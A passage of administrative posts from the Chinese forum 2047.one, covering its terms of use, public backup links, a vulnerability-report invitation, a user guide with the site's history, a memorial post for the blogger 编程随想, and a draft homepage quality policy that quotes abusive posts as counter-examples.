    5. 若用户在使用2047时违反任何上述约定,2047或其授权的人有权要求用户改正或采取必要的措施,以减轻用户不当行为造成的影响。

    知识产权

    1. 用户在2047上发布的原创内容,著作权均归用户本人所有,但为了促进知识的分享和传播,用户授予2047关于该内容的全球通用的、永久的、免费的、不可撤销的、可再许可的、可转让的、非独家许可使用的权利。
    2. 用户通过转载、复制、截图等方式获取他人内容,并发布在2047的,用户应享有用户所实施行为所必需的全部权利或被授权(包括但不限于著作权、商标权等)。如果用户在没有必要权利的情况下发布或分享内容,由用户承担相关侵权责任。
    3. 用户可以提出任何关于2047服务的想法、建议和反馈,并且用户同意2047可以使用这些想法、建议和反馈,而无需进行补偿或承担义务。
    4. 除特别说明或者法律另有规定外,2047公开的全部信息或数据的其他权益归属于2047。2047公开的全部信息或数据包括但不限于:音频、视频、文字、图片、图形、网站架构、程序设计、程序代码、页面设计、用户在交互中生成的元数据等。

    免责声明

    1. 任何经由2047发布的内容,无论是公开还是非公开发布,均由内容提供者承担责任。用户在2047发表的内容仅表明其个人的立场和观点,并不代表2047的立场或观点。用户作为内容的发表者,需自行对所发表内容负责,因所发布内容引发的一切纠纷,由该内容的发布者承担全部法律责任。
    2. 用户使用2047所存在的风险将完全由其自己承担。用户通过2047取得的任何信息资料取决于用户自己,并由其承担系统受损、资料丢失以及其它任何风险。2047对服务中涉及的信息都不作担保。特别地,2047不审查与本网站链接的所有网站,并且不对任何此类链接网站的内容负责。2047上任何第三方链接的存在并不意味着2047对该网站的认可。使用第三方链接网站的风险由用户自行承担。
    3. 2047将尽行业内合理水平的技能和注意义务以提供稳定的服务,但不保证网络服务一定能满足用户的要求,也不保证网络服务一定不受干扰、不会中断、安全可靠、不会出错。对于因不可抗力或2047不能控制的原因造成的服务中断或其它缺陷,2047不承担任何责任,但将尽力减少因此而给用户造成的损失和影响。

    附件一:2047内容原则

    2047遵循美国宪法第一修正案所确立的原则,允许受到第一修正案保护的政治、学术、宗教、艺术领域的书面或象征性言论的自由表达。用户提供的内容必须符合美国适用的联邦、州、和地方法律。不受第一修正案保护的言论不限于表现为:

    • 鼓励或计划暴力犯罪、毒品交易等;
    • 侵犯他人合法权利(包含著作权、专利权等)或直接危害他人安全,例如诈骗、抄袭、钓鱼、勒索、威胁等;
    • 未成年人色情;
    • 牵涉他人法律责任的夸大或不实的宣传,例如虚假广告,冒名顶替,或对他人的诽谤、诬陷。

    除此之外,2047保留对于以下言论的限制权利:

    • 以误导、欺诈为目的冒充他人或机构,或声称与他人或机构有关;
    • 进行赌博、色情、药品相关的商业宣传或交易;
    • 露骨地描绘或鼓励对人类或动物的虐待;
    • 其它2047认为的可能带来本服务运营所在地(美国和瑞典)法律风险的内容。

    附件二:2047小组管理原则

    1. 小组的管理权归组长所有,组长有权制定小组的具体规则并指定小组管理员。组长对小组的管理负责,小组成员不接受可以退出后另立小组或加入其它小组;
    2. 小组组长及管理员应积极管理,确保小组内容符合《2047内容原则》(附件一)等约定。小组组长或管理员长期未履行管理职责时,2047有权更换组长或锁定小组; 若小组资料或小组内出现违反《2047内容原则》(附件一)的内容,2047站方管理人员有责权介入。
    3. 小组内部的争执由小组成员和小组管理员协商解决。
    4. 若小组之间产生争执,2047站方管理人员有责权介入,并有权采取一切必要的措施,以减轻争议造成的影响。
  7. 47小管家   在小组 站务 发表文章

    新站上线集中问答帖

    各位新老用户,

    欢迎来到改版后的2047!

    本帖专门回答您在新站上遇到的各种问题。请把问题写在下面,47小管家将尽力为你解答。

  8. 47小管家   在小组 2047 发表文章

    公开备份

    公开备份包括帖子、回复、短评、点赞、管理记录、编辑记录、用户公开的个人资料、公开的小组资料等数据;备份内容不包含密码、私信、收藏夹、黑名单等敏感信息。公开备份将定期发布。

    2022年10月

    下载链接:

    https://2047.one/static/public-backup/2047.one-backup-2022-10.7z

    SHA-512:

    f5b670914fb04ec651fe1fcbcba09a1fdefab8af0559ea4ebb5d52dd92bb2fa27be783790a86e5b8fe37045d6a86b65ea1698529abe6ddec9b56ec605f6bf80d


    2022年11月

    下载链接:

    https://2047.one/static/public-backup/2047.one-backup-2022-11.7z

    SHA-512:

    901921645b623874b1d21f11cda8112771f9c5aa2f4576fdcf7bf6bda33174c6149954c25922903a07796f220c11d160349cb63e6e424b6a0af883515791b75d


    2022年12月

    下载链接:

    https://2047.one/static/public-backup/2047.one-backup-2022-12.7z

    SHA-512:

    eafda691e853354dce7ba748eeefa83ae0d7c78c0410c10b463f9945adf88c72eec3d97e8647451a8dc8870add5ca3f4f19984ec345a314734a444e0d909636c


    2023年1月

    下载链接:

    https://2047.one/static/public-backup/2047.one-backup-2023-01.7z

    SHA-512:

    a191e887ac1a941b8d1f6e7dab37dbdd7c025d0f4068f044a0839e4fffe3d65e0cd969b1d045d86f5cdd064406e2f3b7501ebae7c2412add0caec261e09fe3d6


    2023年2月

    下载链接:

    https://2047.one/static/public-backup/2047.one-backup-2023-02.7z

    SHA-512:

    99c5a4496cc23c39d7e2d617dfe4ae541f5637a6656e1b49017b7db073e24c17f9d161fe7f72ff3251cab42f01fdfe007d1f3da2b3fed9c99ab3b0518f500feb


    2023年3月

    (yanked)


    2023年4月

    (yanked)


    2023年5月

    下载链接:

    https://2047.one/static/public-backup/2047.one-backup-2023-05.7z

    SHA-512:

    a307cf65f2e3a2e946f5b91dc60893e4b971e5edf2cc46119232b48897c80a28989b0266ab7ec8182f05541944b5ada4832d70106bd104f56d6b14421310014d


    2023年6月

    (待发布)

    2023年7月

    (待发布)

  9. 47小管家   在小组 2047 发表文章

    开源代码

  10. 47小管家   在小组 2047 发表文章

    关于我们

  11. 47小管家   在小组 2047 发表文章

    隐私政策

  12. 47小管家   在小组 站务 发表文章

    使用协议

    2022年10月24日

    欢迎您来到2047。

    请您仔细阅读以下条款,如果您对本协议的任何条款表示异议,您可以选择不进入2047。当您注册成功,无论是进入2047,还是在2047上发布任何资讯、资料、文字、软件、音乐、音讯、照片、图形、视讯、信息、用户资料、交互数据、指向外部网站的链接或其他资料等(以下简称「内容」),均意味着您(以下简称「用户」)完全接受本协议项下的全部条款。

    总则

    1. 2047的运营者及相关关联组织(以下简称“2047”)根据本使用协议的条款及其它有关规则为用户提供互联网服务。2047公布的《2047内容原则》(附件一)、《2047小组管理原则》(附件二)均是本协议的有效组成部分,本协议及前述规则共同构成用户使用2047之规范。用户的使用行为(包括但不限于通过API接入等形式)视为其对本协议及其附件的同意。
    2. 用户应遵守本协议的各项条款,合理使用2047提供的服务,否则,2047有权依据本协议中断或终止为用户提供服务。同时,2047保留在任何时候收回用户所使用的账号的权利。
    3. 若用户未满13周岁,则用户不得访问或使用2047服务。若用户已满13周岁,但未满18周岁或未满用户所在司法管辖区的成年年龄,在使用2047服务前,应由其法定监护人查看并接受本协议。
    4. 2047有权制订关于使用本服务的一般措施及限制,同时,2047保留解释与随时变更这些一般措施及限制之权利。用户在使用相关服务时,应关注并遵守其所适用的相关条款。

    账号注册与使用

    1. 用户注册成功后,2047将给予每个用户一个用户账号及相应的密码,该用户账号和密码由用户负责保管;用户应当对以其用户账号进行的所有活动和事件负法律责任。
    2. 用户不应将其账号、密码转让、出售或出借予他人使用,账号使用权仅属于初始申请注册人,用户应对账号内的全部行为独立承担全部责任。若用户未保管好自己的账号和密码,因此而产生的任何损失或损害,2047不承担任何责任。
    3. 用户不得以误导方式冒充他人;不得以误导方式利用他人的名义发布任何信息;不得恶意使用注册账号导致其他用户误认;否则2047有权立即停止提供服务,收回其账号并由用户独自承担由此而产生的一切法律责任。
    4. 用户应当合理注册并使用2047账号,不得恶意注册或违规使用2047账号。违规行为包括但不限于频繁注册、批量注册等可以合理认为是通过机器进行账号操作的行为、恶意滥用多个账号、使用多个账号大量创建内容或发送消息(包含私信和通知)、通过实际控制多个账号等方式操纵内容(包含投票)或规避限制、使用2047账号进行违反本协议的其它行为或将2047账号用于其他不当用途。
    5. 2047有权对上述恶意注册、违规使用行为进行独立判断并在合理判断存在上述行为时,无须事先通知即可暂停或终止用户使用账号,并拒绝用户于现在和未来使用本服务之全部或任何部分。

    用户信息保护

    2047的首要政策是在正常提供服务的基础上,尽可能少的收集用户信息,以确保用户在使用服务时的安全。

    注册时,用户需要提供以下信息:

    1. 用户名;
    2. 密码。

    当用户浏览、使用2047时,2047不会做以下任何事情:

    1. 记录用户的浏览器和操作系统信息;
    2. 记录用户的 IP 地址信息;
    3. 记录包含用户标识信息的访问日志;
    4. 要求用户以任何方式提供个人信息。

    默认情况下,2047不会保留用户的 IP 地址。但是,2047使用的第三方服务(“Cloudflare CDN”)可能会暂时保留 IP 日志24小时,以防御滥用行为。如果用户从事违反本协议的活动(例如针对2047的网络基础设施的 DDoS 攻击、暴力破解密码等),用户的 IP 地址的保留期限可能会被延长,以保护本站的服务不受恶意活动的侵扰。

    用户行为

    1. 用户的行为不得破坏网站的固有公平性,不限于表现为,使用多个账号规避限制、批量发送内容、批量注册账号、操纵内容或操纵点赞等行为。
    2. 用户不得干扰或破坏2047的网络服务,不限于表现为,访问或试图访问其他用户的账号或2047服务的任意非公开部分(包括2047服务使用的计算机系统和网络)、将任何木马、病毒、蠕虫、恶意代码或其它旨在干扰2047服务的程序上传;以自动方式访问、搜索或收集2047的数据,使得2047服务负担过重等。
    3. 用户在2047上发布的内容,应当遵守《2047内容原则》(附件一);若用户加入了任何小组,应当遵守《2047小组管理原则》(附件二),同时应遵守所在小组的规定。
    4. 若用户发布不适合工作场合或不适合未成年人观看的露骨内容,用户应当予以显著标注。
    5. 若用户在使用2047时违反任何上述约定,2047或其授权的人有权要求用户改正或采取必要的措施,以减轻用户不当行为造成的影响。

    知识产权

    1. 用户在2047上发布的原创内容,著作权均归用户本人所有,但为了促进知识的分享和传播,用户授予2047关于该内容的全球通用的、永久的、免费的、不可撤销的、可再许可的、可转让的、非独家许可使用的权利。
    2. 用户通过转载、复制、截图等方式获取他人内容,并发布在2047的,用户应享有用户所实施行为所必需的全部权利或被授权(包括但不限于著作权、商标权等)。如果用户在没有必要权利的情况下发布或分享内容,由用户承担相关侵权责任。
    3. 用户可以提出任何关于2047服务的想法、建议和反馈,并且用户同意2047可以使用这些想法、建议和反馈,而无需进行补偿或承担义务。
    4. 除特别说明或者法律另有规定外,2047公开的全部信息或数据的其他权益归属于2047。2047公开的全部信息或数据包括但不限于:音频、视频、文字、图片、图形、网站架构、程序设计、程序代码、页面设计、用户在交互中生成的元数据等。

    免责声明

    1. 任何经由2047发布的内容,无论是公开还是非公开发布,均由内容提供者承担责任。用户在2047发表的内容仅表明其个人的立场和观点,并不代表2047的立场或观点。用户作为内容的发表者,需自行对所发表内容负责,因所发布内容引发的一切纠纷,由该内容的发布者承担全部法律责任。
    2. 用户使用2047所存在的风险将完全由其自己承担。用户通过2047取得的任何信息资料取决于用户自己,并由其承担系统受损、资料丢失以及其它任何风险。2047对服务中涉及的信息都不作担保。特别地,2047不审查与本网站链接的所有网站,并且不对任何此类链接网站的内容负责。2047上任何第三方链接的存在并不意味着2047对该网站的认可。使用第三方链接网站的风险由用户自行承担。
    3. 2047将尽行业内合理水平的技能和注意义务以提供稳定的服务,但不保证网络服务一定能满足用户的要求,也不保证网络服务一定不受干扰、不会中断、安全可靠、不会出错。对于因不可抗力或2047不能控制的原因造成的服务中断或其它缺陷,2047不承担任何责任,但将尽力减少因此而给用户造成的损失和影响。

    附件一:2047内容原则

    2047遵循美国宪法第一修正案所确立的原则,允许受到第一修正案保护的政治、学术、宗教、艺术领域的书面或象征性言论的自由表达。用户提供的内容必须符合美国适用的联邦、州、和地方法律。不受第一修正案保护的言论不限于表现为:

    • 鼓励或计划暴力犯罪、毒品交易等;
    • 侵犯他人合法权利(包含著作权、专利权等)或直接危害他人安全,例如诈骗、抄袭、钓鱼、勒索、威胁等;
    • 未成年人色情;
    • 牵涉他人法律责任的夸大或不实的宣传,例如虚假广告,冒名顶替,或对他人的诽谤、诬陷。

    除此之外,2047保留对于以下言论的限制权利:

    • 以误导、欺诈为目的冒充他人或机构,或声称与他人或机构有关;
    • 进行赌博、色情、药品相关的商业宣传或交易;
    • 露骨地描绘或鼓励对人类或动物的虐待;
    • 其它2047认为的可能带来本服务运营所在地(美国和瑞典)法律风险的内容。

    附件二:2047小组管理原则

    1. 小组的管理权归组长所有,组长有权制定小组的具体规则并指定小组管理员。组长对小组的管理负责,小组成员不接受可以退出后另立小组或加入其它小组;
    2. 小组组长及管理员应积极管理,确保小组内容符合《2047内容原则》(附件一)等约定。小组组长或管理员长期未履行管理职责时,2047有权更换组长或锁定小组; 若小组资料或小组内出现违反《2047内容原则》(附件一)的内容,2047站方管理人员有责权介入。
    3. 小组内部的争执由小组成员和小组管理员协商解决。
    4. 若小组之间产生争执,2047站方管理人员有责权介入,并有权采取一切必要的措施,以减轻争议造成的影响。
  13. 47小管家   在小组 2047 发表文章

    漏洞反馈

    欢迎广大用户和白帽子向我们提交业务存在的信息安全漏洞,我们将会有专门的人员跟进处理,并将结果及时反馈给您。接收的信息安全漏洞包括但不局限于 XSS、CSRF、XXE、SQL 注入、远程命令执行、逻辑设计缺陷等。

    若要提交漏洞,请私信47小管家

  14. 47小管家   在小组 2047 发表文章

    站点帮助

  15. 47小管家   在小组 站务 发表文章

    宣布一个重大消息!

    各位新老用户:

    现在宣布一个重大消息:

    本站将会进行全新改版!

    本站自2049时期起就一直以轻论坛的形式运行,一般情况下帖子发出来都在首页按照一定顺序显示。优点是快速可见,缺点是鱼龙混杂。我们即将上线的新站,采用了reddit的分组论坛模式,打破了原有的混沌僵局,让有相同偏好的用户可以组建小组,无论你喜欢政治、哲学还是动漫,男权、女权还是拥护特定民族,都可以在自己的小天地里自娱自乐,抱团取暖。不管外界风声雨声,小组内我自岿然不动。

    新站运行,万事待兴。目前还没有完全开放建组的权限,满足一定声望值(karma)的用户可优先建组。此外,本站也会邀请一些用户建立小组。如果您希望建立自己的小组,可以私信向47小管家申请,审核通过之后将获得建组的权限。

    新站上线日期:北京时间2022年10月24日凌晨0点。从0-4点期间旧站为只读状态,可以访问但不能发帖或点赞。4点之后旧站下线,2047.one域名将会指向新站的服务器。

    全新的2047.one即将到来,你能和我一起守护它吗?

  16. 47小管家   在小组 站务 发表文章

    2047行为倡议和管理员守则

    February 07, 2022

    2047行为倡议

    鼓励的讨论方式

    1. 多多赞美,少点批评,言行友善,言之有物;情绪宣泄可去树洞。

    2. 尊重其他用户,以现实中与人交流的言行标准与网友进行交流;好好说话,讲道理,辩论重在普及知识、促进共识。

    3. 如对楼主观点有强烈反对意见,新开贴进行礼貌地表达。Even if you don't like it, don't shout against it.

    不鼓励的行为

    1. 针对其他用户的辱骂、诽谤、仇恨、威胁、骚扰言论;漠视生命尊严、宣扬暴力或攻击性行为。

    2. 赌博、色情、药品类广告,或其他被认定不合适的商业或政治宣传活动。

    3. 重复或近似重复发布的主贴、回帖。

    4. 披露用户隐私、威胁其他用户人身安全。

    5. 服务器所在地法律禁止的内容,如儿童色情、毒品交易。

    6. 其他严重违反行为倡议的言论。

    管理员守则

    管理员的责任与定位

    1. 管理员由2047用户志愿担任,这些用户是为大家熟知并信任的2047成员。

    2. 管理员没有任何高于其他用户的特权,管理员唯一的责任是维护社区友善讨论的氛围。

    3. 管理员和用户的唯一区别是,由于管理员看起来更值得信任,出于维护社区讨论之必须,他们身上的某些功能限制被移除。

    权限:封禁

    1. 任何管理员都有权进行封禁处理。封禁需给出理由,对违规言行举出至少一例。

    2. 在某用户被初次封禁后,其他管理员如有异议有权将其解封,但需给出理由,告知管理员群体,并与此用户联系。此后如管理员群体对于封禁仍有争议,则由2047团队做出最终决定。

    3. 在某用户被初次封禁后,用户有权另外注册账号向2047团队进行申诉。2047团队将做出最终决定。

    4. 如2047团队决定不予封禁,未来此用户再有封禁争议直接交由2047团队处理。

    权限:转区

    1. 任何管理员都有权对主贴进行转区。

    2. 如不同的管理员对同一主贴反复进行转区操作,则交由2047团队做出最终决定。

    权限:折叠与删除

    1. 任何管理员都有权对主贴下的回帖进行折叠或删除。折叠或删除只可针对限制言论1~5,其余不予干涉。

    2. 任何管理员都有权对主贴下被管理员折叠或删除的回帖取消折叠或删除操作。楼主折叠或删除的回帖不应干涉。

    3. 如不同的管理员对同一回帖反复进行相反操作,则交由2047团队做出最终决定。

    4. 如楼主与管理员对同一回帖反复进行相反操作,则交由2047团队做出最终决定。

  17. 47小管家   在小组 2047 发表文章

    2047用户指南

    2047的宗旨

    2047.one是一个无需手机号和邮箱即可注册发言的小组制社区。其创建宗旨是打造一个兼具理性与人文气氛,可以自由讨论、分享与创作的多元化平台。

    我们相信,表达的自由是生而为人的基本权利,在结绳纪事的时代如此,在笔墨字纸的时代如此,在信息时代的今日亦无二致——匿名的表达,是身陷数字极权之压抑下的普通人为坚守言论自由权所进行的最后一搏。

    我们希望,所有心向曙光的自由人都能够挣脱恐惧的桎梏并翻越闭锁与隔绝的铁幕,在这里寻回“表达”的初心,无所畏惧地用中文进行交流、分享和创作。我们希望,2047.one可以成为一个文字共和国(Respublica literaria),以承载着无数思绪与智慧的文字为纽带,连接起渴望与热爱自由的志同道合之灵魂。

    2047的历史

    2047的前身是2049BBS,2049BBS最早是附属于端点星的讨论子站。端点星全称为Terminus 端点星计划(英语:Terminus2049),是一个备份中国国内被删文章,并以此抵抗网络与言论审查的项目。为了能够给读者们提供一个可以自由讨论这些文章的平台,端点星的志愿者们又创办了2049BBS,2049BBS的站长是 @小二

    2049BBS的名字取自《Blade Runner 2049》,同时也有着致敬更早的自由讨论平台“1984BBS”之意。2020年4月底,身为站长的小二突然失联。之后,我们从新闻中得知了他被中国警方带走的消息,而小二的真名叫做蔡伟。

    同年8月,网友 @thphd 从2049BBS的数据中,创办了“2047.name”。2047的寓意为“2049-2”,即“没有小二的2049”,而这个名号也与“2047年的香港之命运”有关。因此,取“2047”为名,亦有致敬香港民主运动的含义。

    2021年5月11日,“端点星案”正式审理,公诉方声称2049BBS“煽动人心,侮辱国家领导人,给国家领导人和国家形象造成负面影响”。同年8月13日端点星案宣判,志愿者陈玫、蔡伟因为其在2049BBS上的言论而被判处有期徒刑一年零三个月。由于两人的被羁押时间达483天,已经超过了判处的刑期而在当日获释。

    2021年12月底,2047.name遭到了高度疑似中国政府主导的专业网络攻击。在发现黑客的入侵行为后,彼时的2047站长thphd意识到自己的IP地址已经泄露。鉴于可能的不利结果,2047.name的其他管理人员商议和thphd每日互报平安,同时为了网站的存续,thphd把运营网站的必要资料转交予原2049BBS和2047.name的管理人员。

    2022年1月7日,2047.name突然无预警下线,同时站长thphd也与管理团队失去了一切联系。1月底,我们发现了针对2047.name域名与相关邮箱的入侵企图。种种迹象表明了thphd很可能已经被中国警方抓捕。

    2022年1月15日,2047论坛以“2047.one”的新域名再次上线。

    2047的规则

    此规则目前只适用于“2047小组”。全站规则请参见《使用协议》

    • 2047承诺不删除、不篡改用户发布的主题。我们鼓励用户发布有讨论和阅读价值的话题与内容,而发布在2047首页的主题亦需要满足《2047首页质量控制倡议》的要求。

    • 2047建议用户在做出贡献的基础上建立起自己的虚拟身份的可信度,并以此为基础收获更多的肯定与认同;我们鼓励新用户尽量在发言中展现出真诚与才华,这有助于大家更快地熟悉与信任您。

    • 2047希望杜绝互联网世界里的一些常见问题,例如咄咄逼人或冷嘲热讽的语调、充满暴戾的讨论气氛以及无故地扣帽子等。我们恳请各位在讨论时能够尽量避免自身的情绪化语言,而发表此类内容也无疑会对您的社区声誉产生不良影响。如果您在与其他用户交流时发现对方已经脱离对话题的理性探讨,请不要陷入骂战,交由管理员们处理即可。

    • 推荐布拉格公民论坛《对话守则》:对话的目的是寻求真理,不是为了斗争;不做人身攻击;保持主题;辩论时要用证据;要分清对话与只准自己讲话的区别;尽量理解对方。

    • 如果您有其它疑问,请移步此处

    网络安全指南

    • 我们推荐所有用户在浏览以及于2047发言时全程使用tor浏览器,隐藏您的网络IP地址及浏览器特征。(下载

    • 请勿于2047使用能够与现实身份相关联的信息与用户名,尤其应该避免使用于中国境内运营的社交平台之用户名,因为这将使得别有用心者能够从相同的用户名追踪到您在其他平台的账号,并进而关联至您的真实身份。

    • 推荐阅读《编程随想的博客》系统掌握上网安全知识。

    • 2047鼓励用户相互沟通、联络、并建立组织。在与其他网友联络时,您需要保持必要的谨慎以防范社会工程学攻击

    • 2047不审查用户发布的超链接,因此在点击外部链接时,您需要自行评估风险。


    本指南将持续更新,欢迎各位进行评论与补充。

  18. 47小管家   在小组 站务 发表文章

    规则汇总(暂定)

  19. 47小管家   在小组 2047 发表文章

    当我们纪念编程随想时,我们在纪念什么?——纪念编程随想失踪一周年

    2022年5月9日,距编程随想最后一次发文已经整整一周年了。

    回到2022年1月15日,本该是编程随想发表《开博13周年庆》的日子,他却没有出现。作为一名老读者,守望在他的博客前面,看着那熟悉的罗丹雕塑《思想者》,慢慢滑动鼠标滚轮,从顶部的语录到一个个熟悉的博文标题,我在心里暗自期待着:多希望您能回来啊!

    编程随想,中国互联网时代的英雄,匿名反抗党国的先驱,注定将载入史册。他不仅仅是“翻墙教父”,更是一个伟大的启蒙者。从信息安全到政治学、心理学等领域,广博的知识令人叹为观止。旧品葱网友 OverthrowCPC 评论道:“《编程随想的博客》是迄今为止海外“反动”势力中反洗脑内容最深入浅出的、最理性客观的、质量最高的(没有之一)。可以说毫不夸张地说,此博客是所有刚学会翻墙的初阶人士必读之物。”在这个时候,我们为什么要纪念编程随想?如网友 co-memory 所说,“编程随想就是数字时代的坦克人,甚至更伟大,因为一时的勇气和长期的成功坚持是没法比的。”

    从2009年1月15日的第一篇博文起,到2021年5月9日最后一篇博文止,编程随想十几年如一日地坚持反抗,这种精神正是我们所要纪念的。面对党国的残酷统治,身在国内的他既没有走向虚无,也没有放弃他的同胞。

    网友“肉身翻墙”的建议,他引用了《V字仇杀队》里的一句台词:“如果敢于反抗的人都离开了,那他们就赢了。”

    《开博十周年大事记》里,他写道:“成功不必在我,功成其中有我。”

    但令人嘘唏的是“下一次发布《大事记》,那得等到2029年的博客【20周年庆】啦。希望那时候俺还在,列位看官也还在。另外,也希望俺能和诸位读者一起迎来【天朝的黎明】”。

    接过编程随想手中的炬火,让抗争之光交相辉映。


    下面是由2047编辑部评选的编程随想十大经典博文和五大经典系列,希望编程随想留下的依然启蒙着更多人。

    十大经典博文

    俺不想再保持沉默、不想再回避这些问题了,是该写点技术以外的东西了!

    如果仅仅为了冒险,有很多事情可以做——比如从事某些有风险的体育运动。为啥俺偏偏选择写政治内容的博文?这就得聊到第5层需求——关于自我实现的需求。

    无数人的匿名上网启蒙之作。

    两份视觉化作品:https://zhaojiaren.clubhttps://zhao-visualized.netlify.app

    编程随想的电子书 GitHub 墙内镜像:https://github.com/program-think-mirrors/books

    另附编程随想唯一文字采访:2013德国之声国际博客大赛最佳中文博客提名

    五大经典系列


    同编程随想一样,thphd 也是匿名互联网的自由先驱之一。在这个 thphd 失联四个月的日子,我们同样怀念他。就像 thphd 曾经说过的,“如果没有这个有生命、有温度的记忆载体,大家就无法了解——更重要的是无法同情——于是很快就会忘记——XX曾经存在过。

    You live only as long as the last person who remembers you. Westworld(2018)

    以但丁《神曲:地狱篇》 的最后一句作结吧:

    我们一起攀登,直到我透过一个圆洞,看见一些美丽的东西显现在苍穹。我们于是走出这里,重见满天繁星。

    愿我们迎来“重见满天繁星”的时刻!

  20. 47小管家   在小组 站务 发表文章

    发布文字和问题的交互逻辑已经改进,现在不用提前选择分类了

    直接在主页点击发布按钮即可发布。

  21. 47小管家   在小组 站务 发表文章

    【意见征集 | 已结束】2047首页质量控制倡议

    2047的初衷是建设一个不受审查的自由讨论平台,我们认同《世界人权宣言》第十九条——人人有权享有主张和发表意见的自由,和传递消息和思想的自由;同时,我们亦希望营造出一种理性和人文的良性氛围,即“谈德赛”。我们理想中的管理状态是,在自由表达和讨论质量之间找到最佳的平衡。

    然而,过去一段时间以来,首页帖子的管理确实无章可循,也难以保证管理标准的一致性。因此,我们希望制定一套首页内容管理的规范,供大家参考。

    为了保证讨论的质量,在2047首页出现的帖子需要满足《首页质量控制倡议》的要求,不满足《首页质量控制倡议》的帖子会被移动到水区。需要说明,这并非限制言论自由,尽管水区的内容不在首页展示,但仍然存在于2047上且承诺不会被删除。水区的帖子可以自由浏览,评论、分享,同时亦可被搜索引擎检索。

    以下为《首页质量控制倡议》的草案,欢迎各位加入讨论并提出意见。






    一、内容规范

    1. 内容应可被大多数用户理解、且应传达有效信息

    • 发表在2047主区的内容,语言应当正确,使大多数人容易理解。清晰的文字可以使其他人更容易了解您的思想。

    • 发表在主区的文章需要传达有效信息,请尽量避免一句话文章(少于50个字,图片或影片除外)。如果您想提问,请将帖子分类选择为问题;如果您想灌水闲聊,请把帖子分类选择为水区或树洞。

    反例如:

    "为什么蒋介石不用导弹炸毛泽东 蒋介石有导弹 大陆还没有反导系统 蒋介石为什么不用导弹炸毛泽东"

    “大家你们怎么看待中国的体校制度? 这玩意的我噶当时感觉并不比当丘八容易噶。 不过有一个好处,伙食比较好噶,牛奶不限量 的(只允许在学校食堂子里面喝不准外带子的)”

    2. 转载

    • 转贴应当避免重复,短时间内针对同一话题或相近话题大量转贴,重复的内容会被转移到水区以避免刷屏。

    • 转载应当标注来源链接和作者,若难以找到作者且来源众多,仅标注转载即可。2047尊重他人对作品享有的权利,若原作者出现,证明自己的权利并做出其他要求,我们会根据原作者的要求对转贴进行处理。

    • 转贴应当容易阅读,您可以参照markdown参考手册[1, 2],对转载内容进行排版。

    3. 非情绪化,避免戾气

    2047希望营造出一种理性和人文的良性氛围,即“谈德赛”。戾气较重、过度情绪化、同时有价值信息不足的帖子会被转移到水区。

    我们反对的戾气较重、情绪化语言例如:

    • 发泄仇恨:“加速主义新方案 大家去幼儿园杀几个小蜘蛛 加速共产党灭亡”,“香港人台湾人少数民族和大陆50w统统在人民英雄纪念碑前剥皮揎草,剩下的部分送去做肥皂”
    • 情绪宣泄,如“右派和左派们拙劣得比中共都不如,实则就是一群极端的费拉”,“港独满世界找靠山认洋爹,认出优越感了”
    • 用词粗鄙,让人一看就不太舒服:“皿煮和支那人屁关系也没有,不要被骗了”,“美国这粪坑产粪量太高了,一帮殖人台蛙子排队接着,看的恶心死本大爷了”

    4. 避免事实错误

    事实错误的例子:

    “讲讲我在美国首都纽约的生活经历”

    “胡耀邦总理生涯的一些轶事”

    欢乐恶搞类帖子不在此列。

    5. 避免发布可信度不高的新闻或假新闻

    2047不鼓励发布未经查实或可靠度不高的新闻,然而多数情况下亦难以核实有价值的一线消息的准确性。我们认为“超凡的主张,需要有超凡的证据”,新闻的重要性要和它的来源可靠性相匹配。

    • 普通的社会新闻提供基本可靠的来源即可。例如:

    “上海封城多日,XX小区有人跳楼”

    • 重大新闻需要有权威媒体的消息,或多个独立的信息来源佐证,若无可靠媒体报道或多个独立来源则应转水。

    “重大新闻,习近平的秘密讲话曝光,本月将发动台海战争!”

    • 有新闻价值的,但没有见诸权威媒体,或独立来源数量不足的消息,需要注明未完全核实,表示将持续关注;例如:

    “【待核实】武汉华南海鲜市场出现不明肺炎”

    • 通过暗示、诱导方式操纵议题的新闻、和已经被证实的假新闻应当转水

    “震惊!2019年7月德特里克堡生物基地爆发不明肺炎”

    “乌克兰89%的受访者表示‘可以接受’在俄方不撤军的情况下与俄方签订临时停火协议。”

    6. 不要暴露非公众人物的信息

    2047不是社工库,不是道德公审平台。未经当事人同意,刻意暴露非公众人物的隐私的帖子会被转移到无人区。具有政治价值的爆料不在此列。

    7. 尊重其他人不被讨论的意愿

    2047尊重每一个创作者不被讨论的意愿,我们会根据当事用户的反馈对相关帖子进行处理。针对用户的投诉、扒皮、人身攻击,以及针对其他境外讨论平台的意见,会被转移到首页不可见的江湖分区;涉及严重辱骂或暴露信息的帖子,会被转移到无人区分区。

    8. Not Safe for Work(NSFW)

    凶杀和自杀、贩卖毒品、淫秽、色情、赌博、暴力、恐怖内容会被转移到水区或无人区,具有文学、艺术、政治价值的作品不在此列。儿童色情和重度的血腥恐怖内容会被删除,因为我们的网络系统供应商禁止客户传输此类内容。

    9. 营销广告

    广告会被移动到水区或无人区,由机器生成的刷屏广告会被删除。






    二、提问的规范

    提问除了应该满足内容规范,还应当满足本节的规范。

    1. 标题需要构成一个提问

    标题的语言需要清晰、正确,同时请尽量不要一次性包含多个相关性不高的问题。

    反例如:

    “来看看?”

    “这是什么”

    “为什么中国的电视剧水平这么差?顺便问个起名的问题”

    2. 问题需要客观

    简单来说就是“先问是不是,再问为什么”。

    反例如:

    “为什么中国人均收入是世界第一?”

    “为什么在独裁专制威权主义极权主义社会生活的人会变得自以为是和以自我为中心?”

    3. 问题需要基于可信来源

    反例如:

    “如何看待神圣罗马帝国火烧赤壁,奥地利大公败走华容道?”

    欢乐恶搞类帖子不在此列。

    4. 问题不要引战

    反例如:

    用哪个编程语言的渣男最多?

    为什么作为一个主机玩家的我见到 PC 玩家总是有一种“上帝见到愚民”的感觉?






    如果您对目前的《首页质量控制倡议》草案有任何意见或建议,欢迎在本楼下反馈。

    本次讨论时间截止至2022年5月3日。

  22. 47小管家   在小组 站务 发表文章

    问答功能已上线,若要提问,请选择帖子分类为“问题“。

    2047现已支持类似知乎和quora的提问功能,在问题下答案为按赞排序,对答案的评论,会回复为楼中楼。

    目前的分类规则是:

    • 问题(例如“如何看待”、“如何评价”)请在发帖编辑器里选择“问题”分类。
    • 非问题请选择“文章”分类。
  23. 47小管家   在小组 站务 发表文章

    2047的备份计划

    2047的目标是不依赖特定的服务器供应商长期运营。目前,我们使用本地+异地备份的方式确保数据安全,即使遇到最糟糕的情况——供应商无预警清空服务器所有内容,只要有最新的异地备份在,就可以随时更换2047的服务器。

    2047的备份方法如下:

    1. 2047的数据库每天会转储2次,所有的数据(包括帖子、回复、链接、用户信息)都会被打包保存;

